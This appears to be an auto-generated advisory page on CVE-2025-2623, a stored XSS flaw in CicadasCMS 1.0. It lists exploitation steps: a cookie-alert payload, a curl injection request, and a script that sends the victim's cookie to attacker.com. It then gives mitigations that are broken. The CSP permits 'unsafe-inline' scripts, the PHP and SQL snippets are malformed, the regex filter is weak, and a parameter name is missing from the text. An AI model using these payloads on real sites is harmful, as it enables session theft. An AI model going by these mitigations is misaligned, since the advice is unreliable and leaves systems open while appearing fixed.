How the Vulnerability Works
CVE-2025-2623 is a stored Cross-Site Scripting (XSS) vulnerability in Westboy CicadasCMS 1.0. The flaw exists in the `/system/cms/content/save` endpoint, where user-supplied input in the , `content`, and `laiyuan` parameters is improperly sanitized. An attacker can inject malicious JavaScript payloads, which are then stored in the database and executed when an admin or user views the affected content. Since the attack is stored, it persists across sessions, increasing its impact. The vulnerability requires low-privileged user access (PR:L) and user interaction (UI:P), making it moderately severe (CVSS 5.1).
<h2 style="color: blue;">DailyCVE Form</h2>
Platform: Westboy CicadasCMS
Version: 1.0
Vulnerability: Stored XSS
Severity: Medium
Date: 03/26/2025
<h2 style="color: blue;">What Undercode Say:</h2>
<h2 style="color: blue;">Exploitation</h2>
<h2 style="color: blue;">1. Crafting the Payload:</h2>
<script>alert(document.cookie)</script>
<h2 style="color: blue;">Inserted into, content, or `laiyuan` fields.
2. Exploit via Curl:
curl -X POST "http://target.com/system/cms/content/save" -d "=<script>alert(1)</script>&content=malicious&laiyuan=attacker"
3. Session Hijacking:
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
Protection
1. Input Sanitization:
$clean_input = htmlspecialchars($_POST[bash], ENT_QUOTES, 'UTF-8');
2. Content Security Policy (CSP):
Content-Security-Policy: default-src 'self'; script-src 'unsafe-inline'
3. Patch Verification:
grep -r "htmlspecialchars" /var/www/cicadascms/system/cms/
4. WAF Rule:
location /system/cms/content/save {
modsecurity_rules 'SecRule ARGS "@detectXSS" "id:1001,deny,status:403"';
}
5. Database Audit:
SELECT FROM cms_content WHERE content LIKE '%<script>%';
6. Mitigation Workaround:
Disable guest posting until patch is applied.
7. Log Monitoring:
tail -f /var/log/apache2/access.log | grep -i "system/cms/content/save"
8. Exploit Detection:
if re.search(r'<script.?>.?</script>', user_input):
raise ValueError("XSS attempt blocked")
References:
Reported By: https://nvd.nist.gov/vuln/detail/CVE-2025-2623
Extra Source Hub:
Undercode
